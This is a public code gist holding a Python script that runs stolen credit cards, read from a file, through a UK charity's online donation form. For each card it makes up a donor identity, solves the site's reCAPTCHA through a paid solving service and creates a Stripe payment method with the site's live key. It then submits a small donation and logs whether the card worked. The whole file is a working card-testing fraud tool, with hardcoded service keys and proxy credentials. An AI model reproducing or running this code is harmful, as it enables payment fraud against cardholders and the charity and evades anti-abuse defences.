Skip to content

Instantly share code, notes, and snippets.

@likem3
Created October 20, 2023 12:24
Show Gist options
  • Save likem3/d8e714017a4737b1dd79aa5330ac47e7 to your computer and use it in GitHub Desktop.
Save likem3/d8e714017a4737b1dd79aa5330ac47e7 to your computer and use it in GitHub Desktop.
Submit Donation
import sys
import asyncio
import random
import requests
import uuid
import urllib
import re
from faker import Faker
from datetime import datetime
from requests_html import HTMLSession
from capmonstercloudclient import CapMonsterClient, ClientOptions
from capmonstercloudclient.requests import RecaptchaV2ProxylessRequest
from bs4 import BeautifulSoup
if sys.version_info[0] == 3 and sys.version_info[1] >= 8 and sys.platform.startswith('win'):
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
class Data:
def __init__(self):
fake = Faker("en_US")
self.fakes = fake
listtitle = ['Mr', "Mrs", "Ms", "Miss", "Master"]
self.title = random.choice(listtitle)
if self.title == "Mr" or self.title == "Master":
self.fname = fake.first_name_male()
self.lname = fake.last_name_male()
self.fullname = f"{self.fname} {self.lname}"
self.gender = "Male"
else:
self.fname = fake.first_name_female()
self.lname = fake.last_name_female()
self.fullname = f"{self.fname} {self.lname}"
self.gender = "Female"
username = fake.user_name()
randint = str(random.randint(1000, 9999))
self.email = f"{username}{randint}@gmail.com"
self.titlename = f"{self.title} {self.fullname}"
self.phone = fake.msisdn()
self.street = fake.street_name()
self.city = fake.city()
self.state = fake.state()
self.state_code = fake.state_abbr(self.state)
self.zipcode = fake.zipcode_in_state(state_abbr=self.state_code)
self.user_agent = fake.user_agent()
self.country_code = fake.country_code()
self.dob = fake.date_of_birth(tzinfo=None, minimum_age=18, maximum_age=35)
class AppEngine:
def __init__(self, number, month, year, cvc, current_line=0, total_line=0):
self.base_url = "https://www.ncm.org.uk"
self.page_url = self.base_url + '/donate/'
self.page_capkey = "6LdwlBseAAAAAFrh9qgQ-TgtslvnrY7nTykpWAEW" # "6Le3w18UAAAAAHRtNAJqKqu8-nxL1FJjiFvBnTPJ"
self.data = Data()
self.s = requests.Session()
self.s.headers = {
'Origin': self.base_url,
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'en-US,en;q=0.9',
'Sec-Fetch-Dest': 'document',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-Site': 'none',
'Sec-Fetch-User': '?1',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36',
}
use_proxy = False
if use_proxy:
self.s.timeout = 15
self.s.proxies = {
'http': 'http://kontolsadsa-zone-resi-region-us:[email protected]:6001',
'https': 'http://kontolsadsa-zone-resi-region-us:[email protected]:6001',
}
self.dt = datetime.now()
self.ts = datetime.timestamp(self.dt)
self.tss = int(self.ts)
randamount = str(random.randint(1, 9))
self.amount = f"0.0{randamount}"
self.amounstr = f"${self.amount}"
self.number = number
self.cookies = None
# self.asession = AsyncHTMLSession()
if len(year) == 4:
self.year = year
else:
self.year = f"20{year}"
self.month = month
self.cvc = cvc
self.guid = str(uuid.uuid4())
self.muid = str(uuid.uuid4())
self.sid = str(uuid.uuid4())
self.error_folder = "debug-appengine"
date = self.dt.strftime("%d-%m-%Y")
self.result_folder = f'Result-appengine-{date}'
self.current_line = current_line + 1
self.total_line = total_line
self.nonce = None
async def solve_captcha_async(self, url, capkey):
key = "22c7c2439bb1b5eecc63026909417475"
num_requests = 1
client_options = ClientOptions(api_key=key)
cap_monster_client = CapMonsterClient(options=client_options)
recaptcha3request = RecaptchaV2ProxylessRequest(websiteUrl=url,
websiteKey=capkey,
min_score=0.9)
tasks = [asyncio.create_task(cap_monster_client.solve_captcha(recaptcha3request))
for _ in range(num_requests)]
return await asyncio.gather(*tasks, return_exceptions=True)
def get_state_abbr(self):
state_abbr_dict = {
'Alabama': 'AL', 'Alaska': 'AK', 'Arizona': 'AZ', 'Arkansas': 'AR', 'California': 'CA',
'Colorado': 'CO', 'Connecticut': 'CT', 'Delaware': 'DE', 'Florida': 'FL', 'Georgia': 'GA',
'Hawaii': 'HI', 'Idaho': 'ID', 'Illinois': 'IL', 'Indiana': 'IN', 'Iowa': 'IA',
'Kansas': 'KS', 'Kentucky': 'KY', 'Louisiana': 'LA', 'Maine': 'ME', 'Maryland': 'MD',
'Massachusetts': 'MA', 'Michigan': 'MI', 'Minnesota': 'MN', 'Mississippi': 'MS', 'Missouri': 'MO',
'Montana': 'MT', 'Nebraska': 'NE', 'Nevada': 'NV', 'New Hampshire': 'NH', 'New Jersey': 'NJ',
'New Mexico': 'NM', 'New York': 'NY', 'North Carolina': 'NC', 'North Dakota': 'ND', 'Ohio': 'OH',
'Oklahoma': 'OK', 'Oregon': 'OR', 'Pennsylvania': 'PA', 'Rhode Island': 'RI', 'South Carolina': 'SC',
'South Dakota': 'SD', 'Tennessee': 'TN', 'Texas': 'TX', 'Utah': 'UT', 'Vermont': 'VT',
'Virginia': 'VA', 'Washington': 'WA', 'West Virginia': 'WV', 'Wisconsin': 'WI', 'Wyoming': 'WY'
}
name, abbr = random.choice(list(state_abbr_dict.items()))
#state_name = random.choice()
return name, abbr
def get_donating_page(self):
r = self.s.get(self.page_url)
self.cookies = r.cookies
return r.text
def submit_payment(self):
try:
self.state_name, self.state_abbr = self.get_state_abbr()
self.zipcode = self.data.fakes.zipcode_in_state(state_abbr=self.state_abbr)
address = f'{self.data.street}, {self.state_name}'
data = {
'type': 'card',
'card[number]': self.number,
'card[cvc]': self.cvc,
'card[exp_month]': self.month,
'card[exp_year]': self.year,
'billing_details[name]': self.data.titlename,
'billing_details[address][country]': 'US',
'billing_details[address][line1]': address,
'billing_details[address][postal_code]': self.zipcode,
}
data_ = urllib.parse.urlencode(data)
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Authorization': 'Bearer pk_live_51J6AY2FSTzaRUh3nRBXIer1okKClX8jR92PMLkPx69oMV463QVQa1jTtmOYtLPBlmxDGBZVmVcK7Z5fVT2sMURtL00kLMM6ZN1'
}
form_url = 'https://api.stripe.com/v1/payment_methods'
response = self.s.post(form_url, data=data, headers=headers)
return response.json()
except Exception as e:
print('Error submit_payment', str(e))
return
def admin_payload(self, form_dict={}, payment_dict={}):
billing_detail_obj = payment_dict.get('billing_details', {})
address_obj = billing_detail_obj.get('address', {})
address = address_obj.get('line1')
postal_code = address_obj.get('postal_code')
payload = {
'charitable_form_id': form_dict.get('charitable_form_id'),
'_charitable_donation_nonce': form_dict.get('_charitable_donation_nonce'),
'_wp_http_referer': form_dict.get('_wp_http_referer'),
'campaign_id': form_dict.get('campaign_id'),
'description': form_dict.get('description'),
'ID': form_dict.get('ID'),
'gateway': form_dict.get('gateway'),
'donation_amount': 'custom',
'custom_donation_amount': 1.0,
'title': self.data.title,
'first_name': self.data.fname,
'last_name': self.data.lname,
'email': self.data.email,
'address': address,
'address_2': '',
'address_3': '',
'city': self.data.city,
'state': self.data.state,
'postcode': postal_code,
'country': 'US',
'phone': '',
'donor_comment': '',
'stripe_payment_method': payment_dict.get('id'),
'action': 'make_donation',
'form_action': 'make_donation',
}
return payload
def run(self):
su = asyncio.run(self.solve_captcha_async(self.page_url, self.page_capkey))
g_resp = su[0]['gRecaptchaResponse']
payment_resp = self.submit_payment()
page = self.get_donating_page()
page_soap = BeautifulSoup(page, 'html.parser')
inputs = page_soap.find('form', {'id': 'charitable-donation-form'}).find_all('input')
form_payload = {}
for input in inputs:
if input.get('name') and input.get('value'):
form_payload[input.get('name')] = input.get('value')
payload = self.admin_payload(form_dict=form_payload, payment_dict=payment_resp)
payload['charitable_grecaptcha_token'] = g_resp
payload['g-recaptcha-response'] = g_resp
payload['_wp_http_referer'] = self.page_url
headers = {
'Origin': self.base_url,
'Referer': self.page_url,
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
# 'X-WP-Nonce': payload.get('_charitable_donation_nonce')
}
response = self.s.post('https://www.ncm.org.uk/wp/wp-admin/admin-ajax.php', data=payload, headers=headers, cookies=self.cookies)
try:
resp = response.json()
status = resp.get('success')
message = resp.get('errors')[0]
if resp.get('errors'):
print(f'{self.number} status success {status} {str(message)}')
except Exception as e:
print(f'{self.number} status error {str(e)}')
if __name__ == '__main__':
if len(sys.argv) < 2:
print("Usage: python script.py '<str:file_path>'")
sys.exit(1)
file_path = str(sys.argv[1])
file_path.replace('\\\\', '\\')
try:
with open(file_path, 'r') as file:
lines = file.read().splitlines()
total_line = len(lines)
for line, content in enumerate(lines):
cc = content.split(" ")
cc_number = cc[0]
exp_date_list = cc[1].split('/')
cc_exp_month = exp_date_list[0]
cc_exp_year = exp_date_list[1]
cc_cvc = cc[2]
s = AppEngine(
number = cc_number,
month = cc_exp_month,
year = cc_exp_year,
cvc = cc_cvc,
current_line=line,
total_line=total_line
).run()
file.close()
except FileNotFoundError:
print(f"The file at {file_path} was not found.")
except Exception as e:
print(f"An error occurred: {str(e)}")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment